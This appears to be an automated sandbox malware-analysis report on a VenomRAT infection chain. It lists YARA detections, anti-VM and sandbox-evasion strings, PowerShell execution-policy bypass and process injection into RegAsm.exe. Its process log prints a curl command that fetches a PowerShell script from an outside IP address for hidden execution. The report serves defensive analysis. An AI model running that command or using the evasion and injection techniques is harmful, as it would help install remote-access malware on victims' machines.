Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1500000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4999	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3315	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6475	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3089	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 5003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4751	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 6475 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 3089 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7856	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7908	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: powershell.exe, 00000000.00000002.2092626055.000001D5A520A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4532598752.000000000578E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4517427527.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: powershell.exe, 00000005.00000002.2213843715.000001C572784000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000006.00000003.2066721009.0000016FB3BC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlljj

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 5.2.powershell.exe.1c572930000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 5.2.powershell.exe.1c572930000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 5.2.powershell.exe.1c572930000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E2E008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES91A5.tmp" "c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP"	Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.4520096797.000000000361B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.0000000003226000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\]q
Source: RegAsm.exe, 0000000D.00000002.4520096797.000000000361B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.0000000003226000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: RegAsm.exe, 0000000D.00000002.4520096797.0000000003437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\]qPaste_bin@\]q
Source: RegAsm.exe, 0000000D.00000002.4520096797.000000000361B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.0000000003226000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,]q

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

